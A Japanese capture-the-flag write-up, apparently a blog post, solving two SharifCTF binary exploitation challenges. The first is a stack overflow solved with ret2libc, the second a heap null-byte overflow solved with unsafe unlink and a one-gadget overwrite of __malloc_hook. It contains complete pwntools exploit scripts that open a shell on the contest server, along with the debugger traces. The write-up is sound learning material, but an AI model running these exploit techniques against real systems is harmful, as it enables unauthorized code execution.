以前に類似の問題を解いたことがあったので、今回は2問解けた。やっぱり数をこなすのは大事。
ただCTFサーバが長時間落ちてたり、別のCTFと一部時間帯がかぶってたりしたこともあって参加チームはそんなに多くはなかった印象。

OldSchool-NewAge(Pwn, 75 points)

It all started with a leak bang

nc ctf.sharif.edu 4801
Alternative: nc 213.233.161.38 4801

単純なバッファオーバーフローの問題。

ファイル情報

# file ./vuln4 
vuln4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2da0205021e2719e0e6feb17a4e571dca715558c, not stripped
# checksec ./vuln4 
[*] '(snip)/vuln4'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

動作概要

  • 何か文字列を入力するとそのまま終了する
  • 入力された文字列は、内部でstrcpy( )により別の領域にコピーされる
  • 大量の文字列を入力すると落ちる
# ./vuln4
This time it is randomized...
You should find puts yourself
AAAAAAAAAAAA
done!
# ./vuln4
This time it is randomized...
You should find puts yourself
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

脆弱点

0x804853eのfgetsで最大0xc8(200)文字を受け取って関数copy_itへ渡しているが、copy_it側でstrcpy( )する先が「ebp - 0x12」なので0x12文字より多く文字列を入力するとバッファオーバーフローが起こる。

2018-03-23_163220.png

2018-03-23_163243.png

考察

  • 単純なバッファオーバーフローで、かつlibcが提供されている
  • プログラムでputs( )を使っているので、これを呼び出せば任意のアドレスの値をリークできそう
    • GOTの値をリークさせればlibc_baseやlibc上のsystem( )のアドレスが求まる

方針

  1. バッファオーバーフローにより関数copy_itの戻りアドレスをputs@plt(0x80483a0)で上書きし、puts( )のGOTの値をリークさせる
  2. リークさせたアドレスと、与えられたlibcでのputs( )のオフセット値などを利用してlibc_base、libc上のsystem( )、libc上の文字列「/bin/sh」のアドレスを求める
  3. main(0x80484ea)に戻る
  4. バッファオーバーフローにより関数copy_itの戻りアドレスをlibc上のsystem( )のアドレスで上書きしてsytem('/bin/sh')を実行する

exploit

from pwn import *

BIN = './vuln4'
LIBC = './libc.so.6'

elf = ELF(BIN)
libc = ELF(LIBC)

puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
system_offset = libc.symbols['system']
puts_offset = libc.symbols['puts']
binsh_offset = next(libc.search('/bin/sh'))

target = 'ctf.sharif.edu'
port = 4801

conn = remote(target, port)

payload = ''
payload += 'A' * 0x12
payload += 'B' * 4

payload += p32(puts_plt) 
payload += p32(0x80484ea) # main
payload += p32(puts_got)

conn.sendlineafter('yourself\n', payload)
puts_libc = u32(conn.recv(4))

libc_base = puts_libc - puts_offset
system_libc = libc_base + system_offset
binsh_libc = libc_base + binsh_offset

log.info('libc_base: {0}'.format(hex(libc_base)))
log.info('system_libc: {0}'.format(hex(system_libc)))
log.info('binsh_libc: {0}'.format(hex(binsh_libc)))

conn.recvuntil('\n')

payload = ''
payload += 'A' * 0x12
payload += 'B' * 4

payload += p32(system_libc)
payload += p32(0xdeadbeef)
payload += p32(binsh_libc)

conn.sendlineafter('yourself\n', payload)

conn.interactive()

conn.close()

検証メモ

1. バッファオーバーフローにより関数copy_itの戻りアドレスをputs@plt(0x80483a0)で上書きし、puts( )のGOTの値をリークさせる

copy_itからのret直前(eip->0x80484e9)
pwndbg> telescope $esp
00:0000│ esp  0xffd39afc —▸ 0x80483a0 (puts@plt) ◂— jmp    dword ptr [0x8049874]
01:0004│      0xffd39b00 —▸ 0x80484ea (main) ◂— lea    ecx, [esp + 4]
02:0008│      0xffd39b04 —▸ 0x8049874 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0xf7db8ca0 (puts) ◂— push   ebp

2. リークさせたアドレスと、与えられたlibcでのputs( )のオフセット値などを利用してlibc_base、libc上のsystem( )、libc上の文字列「/bin/sh」のアドレスを求める

[*] libc_base: 0xf7d59000
[*] system_libc: 0xf7d93da0
[*] binsh_libc: 0xf7eb4a0b

3. main(0x80484ea)に戻る
4. バッファオーバーフローにより関数copy_itの戻りアドレスをlibc上のsystem( )のアドレスで上書きしてsytem('/bin/sh')を実行する

copy_itからのret直前(eip->0x80484e9)
pwndbg> telescope $esp
00:0000│ esp  0xffd39a9c —▸ 0xf7d93da0 (system) ◂— sub    esp, 0xc
01:0004│      0xffd39aa0 ◂— 0xdeadbeef
02:0008│      0xffd39aa4 —▸ 0xf7eb4a0b ◂— das     /* '/bin/sh' */

当時のログは取ってませんでしたが、フラグはSharifCTF{7af9dab81dff481772609b97492d6899}でした。

t00p_secrets(Pwn, 250 points)

Someone has designed this top secret management service for us.
He was insisting on the term `t00p`.
Could you please take a look and find out why?

nc ctf.sharif.edu 22107
Alternative: nc 213.233.161.38 22107

ヒープに文字列を登録して、その領域のアドレスを.bssから指しているプログラム。
この時点でTokyo Westerns CTF 3rd 2017の「simple note」と同じような解き方ができるかなと思ってたらそのとおりだった。

ファイル情報

# file ./t00p_secrets 
./t00p_secrets: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9feabed677a623dc2d4ad2531f07c0ca827069b3, stripped
# checksec ./t00p_secrets 
[*] '(snip)/t00p_secrets'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

動作概要

  • 最初にmaster key(wjigaep;r[jg]ahrg[es9hrg)を入力する
  • 以降、secretを登録(create)したり編集(edit)したり削除(delete)したりする
  • secretを登録する際、そのインデックス(0~7)、サイズおよびデータ種別(バイナリ or 文字列)を指定できる
  • 登録したsecretのアドレスはインデックス順にそれぞれ.bss領域(0x6020b8~0x6020f0)に格納される
  • バイナリデータの場合はそのまま登録され、文字列の場合はNULL終端後に登録される
  • データ種別は編集時にも指定できる
  • 登録したsecretは一覧表示したり個別表示したりできる
# ./t00p_secrets 
Welcome to SUCTF secret management service
Enter your master key: wjigaep;r[jg]ahrg[es9hrg
1. Create a secret
2. Delete a secret
3. Edit a secret
4. Print secret
5. Print a secret
6. Exit
> 1
Enter secret idx: 0
Enter secret body size: 10
binary(0) or String(1): 0
Please enter secret body (MAX 10): AAAA
(snip)
> 1
Enter secret idx: 2
Enter secret body size: 10
binary(0) or String(1): 1
Please enter secret body (MAX 10): BBBB
(snip)
> 4
id: 0
content: AAAA

-----***-----
id: 2
content: BBBB


-----***-----
(snip)
> 5
Please enter secret id to print: 2
id: 2
content: BBBB


-----***-----
(snip)
> 3
Please enter secret id to edit: 0
binary(0) or String(1): 1
Please enter secret content: aaaa
(snip)
> 5
Please enter secret id to print: 0
id: 0
content: aaaa


-----***-----
(snip)
> 2
Please enter secret id to delete: 0
(snip)
> 4
id: 2
content: BBBB


-----***-----
(snip)
> 6

脆弱点

「0x400b01~0x400b2a」あたりの処理で、secretのデータ種別としてStringを選択したとき、入力文字列の「次のバイト」をNULL終端するため、secretのサイズとして「(n * 0x10) + 0x8」バイトを指定した上でStringデータとしてそのサイズいっぱい文字列を登録すると、次のチャンクのsize領域の下位1バイトをNULLで上書きできるという脆弱性がある。

2018-03-23_122951.png

考察

  • 各secret格納領域の先頭アドレスをsecret[ i ]、それらをポイントする各.bss領域(0x6020b8~0x6020f0)をptr[ i ](*ptr[ i ] = secret[ i ])とする
    • secret格納領域をヒープのチャンクと仮定して、i番目のチャンクchunk[ i ]について下記のような偽チャンクを設定する
      • chunk[ i ]->fd = ptr[ i-3 ]
      • chunk[ i ]->bk = ptr[ i-2 ]
    • このとき、下記が成り立つ
      • chunk[ i ]->fd->bk = secret[ i ] ( = *ptr[ i ] )
      • chunk[ i ]->bk->fd = secret[ i ] ( = *ptr[ i ] )
  • 上記の状態でchnunk[ i ]のUnlinkが走ると + chunk[ i ]->fd->bk = chunk[ i ]->bk + chunk[ i ]->bk->fd = chunk[ i ]->fd
    • となり、最終的に下記のようになる
      • *ptr[ i ] = ptr[ i-3 ]
      • secret[ i ]をeditすると、実際には*ptr[ i-3 ]が書き換わる
      • edit( i )で任意のアドレスを書き込むと、show( i-3 )でそのアドレスの値を読み出せ、edit( i-3 )でそのアドレスに書き込める
  • 上記Unlinkを起こさせるために、その次のチャンクのPREV_SIZEを調整し、PREV_INUSEをオフにする必要がある
    • 今回検出した脆弱性を利用する
  • Full RELROなのでGOT書き換えは不可能
    • malloc_hookへのOne-Gadget-RCEアドレス上書きを考える
  • libcが提供されていない
    • 上記Unlinkを行った後でputs( )やfree( )のGOTの値をリークさせ、両者の差分からlibcを推定する
    • libcが推定できればmalloc_hookのオフセット値やlibc_baseが求まる

方針

  1. 適当なサイズ(ここでは0x20)のsecretを3つ作成する(#0, #1, #2)
  2. サイズが0xd8のsecretを作成する(#3, 偽チャンク用)
  3. サイズが0xf0のsecretを作成する(#4, チャンクサイズは0x100)
  4. #3をeditし、内部に偽チャンクを作成すると同時に#4のPREV_SIZEの調整とPREV_INUSEのクリアを行う
  5. #4をdeleteし、#3の偽チャンクをUnlinkする
  6. 「#3をeditしてアドレスを書き込み、#0をprintする」処理をputs( )とfree( )のGOTアドレスに対して実行してlibc上のアドレスを取得する
  7. 上記差分からlibcを推定する
  8. 上記1. ~ 5. を再度実行した上で「#3をeditしてアドレスを書き込み、#0をprintする」処理を適当な関数のGOTに対して実行し、libc_baseおよびmalloc_hookのアドレスを求める
  9. #3をeditしてmalloc_hookのアドレスを書き込み、#0をeditしてOne-Gadget-RCEのアドレスを書き込む
  10. malloc()を呼ぶような操作を行う

exploit-1(libcの推定)

from pwn import *

BIN = './t00p_secrets'

elf = ELF(BIN)

target = 'ctf.sharif.edu'
port = 22107

conn = remote(target, port)

def create(id, size, flag, data):
    conn.sendafter('> ', '1'+'\n')
    conn.sendafter('idx: ', str(id)+'\n')
    conn.sendafter('size: ', str(size)+'\n')
    conn.sendafter('String(1): ', str(flag)+'\n')
    conn.sendafter('): ', str(data))

def delete(id):
    conn.sendafter('> ', '2'+'\n')
    conn.sendafter('delete: ', str(id)+'\n')

def edit(id, flag, data):
    conn.sendafter('> ', '3'+'\n')
    conn.sendafter('edit: ', str(id)+'\n')
    conn.sendafter('String(1): ', str(flag)+'\n')
    conn.sendafter('content: ', str(data))

def printsecret(id):
    conn.sendafter('> ', '5'+'\n')
    conn.sendafter('print: ', str(id)+'\n')

    conn.recvuntil('content: ')
    content = conn.recvuntil('-----***-----', True)

    return content

conn.sendafter('master key: ', 'wjigaep;r[jg]ahrg[es9hrg')

create(0, 0x20, 0, 'A'*8)   #0
create(1, 0x20, 0, 'B'*8)   #1
create(2, 0x20, 0, 'C'*8)   #2
create(3, 0xd8, 0, 'D'*8)   #3
create(4, 0xf0, 0, 'E'*8)   #4

payload = ''
payload += p64(0x0)
payload += p64(0xd1)
payload += p64(0x6020b8)
payload += p64(0x6020c0)
payload = payload.ljust(0xd0, 'e')
payload += p64(0xd0)

edit(3, 1, payload)

delete(4)

edit(3, 0, p64(elf.got['puts']))
res = u64(printsecret(0)[:8])
log.info('puts_libc: {0}'.format(hex(res)))

edit(3, 0, p64(elf.got['free']))
res = u64(printsecret(0)[:8])
log.info('free_libc: {0}'.format(hex(res)))

conn.interactive()

conn.close()

検証メモ-1

1. 適当なサイズ(ここでは0x20)のsecretを3つ作成する(#0, #1, #2)
2. サイズが0xd8のsecretを作成する(#3, 偽チャンク用)
3. サイズが0xf0のsecretを作成する(#4, チャンクサイズは0x100)

pwndbg> parseheap 
addr                prev                size                 status              fd                bk                
0x19a4000           0x0                 0x1010               Used                None              None
0x19a5010           0x0                 0x30                 Used                None              None
0x19a5040           0x0                 0x30                 Used                None              None
0x19a5070           0x0                 0x30                 Used                None              None
0x19a50a0           0x0                 0xe0                 Used                None              None
0x19a5180           0x0                 0x100                Used                None              None
pwndbg> telescope 0x6020b8
00:0000│   0x6020b8 —▸ 0x19a5020 ◂— 'AAAAAAAA'
01:0008│   0x6020c0 —▸ 0x19a5050 ◂— 'BBBBBBBB'
02:0010│   0x6020c8 —▸ 0x19a5080 ◂— 'CCCCCCCC'
03:0018│   0x6020d0 —▸ 0x19a50b0 ◂— 'DDDDDDDD'
04:0020│   0x6020d8 —▸ 0x19a5190 ◂— 'EEEEEEEE'
05:0028│   0x6020e0 ◂— 0x0
pwndbg> x/32gx 0x19a50a0
0x19a50a0:      0x0000000000000000      0x00000000000000e1
0x19a50b0:      0x4444444444444444      0x0000000000000000
0x19a50c0:      0x0000000000000000      0x0000000000000000
0x19a50d0:      0x0000000000000000      0x0000000000000000
0x19a50e0:      0x0000000000000000      0x0000000000000000
0x19a50f0:      0x0000000000000000      0x0000000000000000
0x19a5100:      0x0000000000000000      0x0000000000000000
0x19a5110:      0x0000000000000000      0x0000000000000000
0x19a5120:      0x0000000000000000      0x0000000000000000
0x19a5130:      0x0000000000000000      0x0000000000000000
0x19a5140:      0x0000000000000000      0x0000000000000000
0x19a5150:      0x0000000000000000      0x0000000000000000
0x19a5160:      0x0000000000000000      0x0000000000000000
0x19a5170:      0x0000000000000000      0x0000000000000000
0x19a5180:      0x0000000000000000      0x0000000000000101
0x19a5190:      0x4545454545454545      0x0000000000000000

4. #3をeditし、内部に偽チャンクを作成すると同時に#4のPREV_SIZEの調整とPREV_INUSEのクリアを行う

pwndbg> x/32gx 0x19a50a0
0x19a50a0:      0x0000000000000000      0x00000000000000e1
0x19a50b0:      0x0000000000000000      0x00000000000000d1
0x19a50c0:      0x00000000006020b8      0x00000000006020c0
0x19a50d0:      0x6565656565656565      0x6565656565656565
0x19a50e0:      0x6565656565656565      0x6565656565656565
0x19a50f0:      0x6565656565656565      0x6565656565656565
0x19a5100:      0x6565656565656565      0x6565656565656565
0x19a5110:      0x6565656565656565      0x6565656565656565
0x19a5120:      0x6565656565656565      0x6565656565656565
0x19a5130:      0x6565656565656565      0x6565656565656565
0x19a5140:      0x6565656565656565      0x6565656565656565
0x19a5150:      0x6565656565656565      0x6565656565656565
0x19a5160:      0x6565656565656565      0x6565656565656565
0x19a5170:      0x6565656565656565      0x6565656565656565
0x19a5180:      0x00000000000000d0      0x0000000000000100
0x19a5190:      0x4545454545454545      0x0000000000000000

5. #4をdeleteし、#3の偽チャンクをUnlinkする

pwndbg> telescope 0x6020b8
00:0000│   0x6020b8 —▸ 0x19a5020 ◂— 'AAAAAAAA'
01:0008│   0x6020c0 —▸ 0x19a5050 ◂— 'BBBBBBBB'
02:0010│   0x6020c8 —▸ 0x19a5080 ◂— 'CCCCCCCC'
03:0018│   0x6020d0 —▸ 0x6020b8 —▸ 0x19a5020 ◂— 'AAAAAAAA'
04:0020│   0x6020d8 ◂— 0x0
pwndbg> x/32gx 0x19a50a0
0x19a50a0:      0x0000000000000000      0x00000000000000e1
0x19a50b0:      0x0000000000000000      0x0000000000020f51
0x19a50c0:      0x00000000006020b8      0x00000000006020c0
0x19a50d0:      0x6565656565656565      0x6565656565656565
0x19a50e0:      0x6565656565656565      0x6565656565656565
0x19a50f0:      0x6565656565656565      0x6565656565656565
0x19a5100:      0x6565656565656565      0x6565656565656565
0x19a5110:      0x6565656565656565      0x6565656565656565
0x19a5120:      0x6565656565656565      0x6565656565656565
0x19a5130:      0x6565656565656565      0x6565656565656565
0x19a5140:      0x6565656565656565      0x6565656565656565
0x19a5150:      0x6565656565656565      0x6565656565656565
0x19a5160:      0x6565656565656565      0x6565656565656565
0x19a5170:      0x6565656565656565      0x6565656565656565
0x19a5180:      0x00000000000000d0      0x0000000000000100
0x19a5190:      0x4545454545454545      0x0000000000000000
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x19a50b0 (size : 0x20f50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0

6. 「#3をeditしてアドレスを書き込み、#0をprintする」処理をputs( )とfree( )のGOTアドレスに対して実行してlibc上のアドレスを取得する
7. 上記の結果からlibcを推定する

[*] puts_libc: 0x7f208374a690
[*] free_libc: 0x7f208375f4f0
(snip)/libc-database# ./find free 4f0 puts 690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
# nm -D ./libc.so.6 | grep malloc_hook
00000000003c4b10 V __malloc_hook
# one_gadget -f ./libc.so.6 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
  • 推定されたlibcにおいて、
    • malloc_hookのオフセットは0x3c4b10
    • One-Gadget-RCEのオフセットは0x4526aなど

exploit-2(shell取る)

from pwn import *

BIN = './t00p_secrets'
LIBC = './libc.so.6'

elf = ELF(BIN)
libc = ELF(LIBC)

target = 'ctf.sharif.edu'
port = 22107

conn = remote(target, port)

def create(id, size, flag, data):
    conn.sendafter('> ', '1'+'\n')
    conn.sendafter('idx: ', str(id)+'\n')
    conn.sendafter('size: ', str(size)+'\n')
    conn.sendafter('String(1): ', str(flag)+'\n')
    conn.sendafter('): ', str(data))

def delete(id):
    conn.sendafter('> ', '2'+'\n')
    conn.sendafter('delete: ', str(id)+'\n')

def edit(id, flag, data):
    conn.sendafter('> ', '3'+'\n')
    conn.sendafter('edit: ', str(id)+'\n')
    conn.sendafter('String(1): ', str(flag)+'\n')
    conn.sendafter('content: ', str(data))

def printsecret(id):
    conn.sendafter('> ', '5'+'\n')
    conn.sendafter('print: ', str(id)+'\n')

    conn.recvuntil('content: ')
    content = conn.recvuntil('-----***-----', True)

    return content

conn.sendafter('master key: ', 'wjigaep;r[jg]ahrg[es9hrg')

create(0, 0x20, 0, 'A'*8)   #0
create(1, 0x20, 0, 'B'*8)   #1
create(2, 0x20, 0, 'C'*8)   #2
create(3, 0xd8, 0, 'D'*8)   #3
create(4, 0xf0, 0, 'E'*8)   #4

payload = ''
payload += p64(0x0)
payload += p64(0xd1)
payload += p64(0x6020b8)
payload += p64(0x6020c0)
payload = payload.ljust(0xd0, 'e')
payload += p64(0xd0)

edit(3, 1, payload)

delete(4)

edit(3, 0, p64(elf.got['puts']))
res = u64(printsecret(0)[:8])
log.info('puts_libc: {0}'.format(hex(res)))

edit(3, 0, p64(elf.got['free']))
res = u64(printsecret(0)[:8])
log.info('free_libc: {0}'.format(hex(res)))

libc_base = res - libc.symbols['free']
malloc_hook_offset = 0x3c4b10
malloc_hook_addr = libc_base + malloc_hook_offset
log.info('libc_base: {0}'.format(hex(libc_base)))
log.info('malloc_hook_addr: {0}'.format(hex(malloc_hook_addr)))

onegadget = libc_base + 0x4526a

edit(3, 0, p64(malloc_hook_addr))
edit(0, 0, p64(onegadget))

conn.sendafter('> ', '1'+'\n')
conn.sendafter('idx: ', str('5')+'\n')
conn.sendafter('size: ', str('17')+'\n')

conn.interactive()

conn.close()

検証メモ-2

8. 上記1. ~ 5. を再度実行した上で「#3をeditしてアドレスを書き込み、#0をprintする」処理を適当な関数のGOTアドレスに対して実行し、libc_baseおよびmalloc_hookのアドレスを求める

[*] puts_libc: 0x7f585074d690
[*] free_libc: 0x7f58507624f0
[*] libc_base: 0x7f58506de000
[*] malloc_hook_addr: 0x7f5850aa2b10
[*] onegadget: 0x7f585072326a

9. #3をeditしてmalloc_hookのアドレスを書き込み、#0をeditしてOne-Gadget-RCEのアドレスを書き込む

書き込み前
pwndbg> x/6gx 0x7f5850aa2b10
0x7f5850aa2b10 <__malloc_hook>: 0x0000000000000000      0x0000000000000000
0x7f5850aa2b20 <main_arena>:    0x0000000100000000      0x0000000000000000
0x7f5850aa2b30 <main_arena+16>: 0x0000000000000000      0x0000000000000000
書き込み後
pwndbg> x/6gx 0x7f5850aa2b10
0x7f5850aa2b10 <__malloc_hook>: 0x00007f585072326a      0x0000000000000000
0x7f5850aa2b20 <main_arena>:    0x0000000100000000      0x0000000000000000
0x7f5850aa2b30 <main_arena+16>: 0x0000000000000000      0x0000000000000000

10. malloc()を呼ぶような操作を行う

当時のログは取ってませんでしたが、フラグはSharifCTF{R34V1L1NG_S3CR3T5_VI4_51NGL3_NULL_BY73}でした。

Sign up for free and join this conversation.
Sign Up
If you already have a Qiita account log in.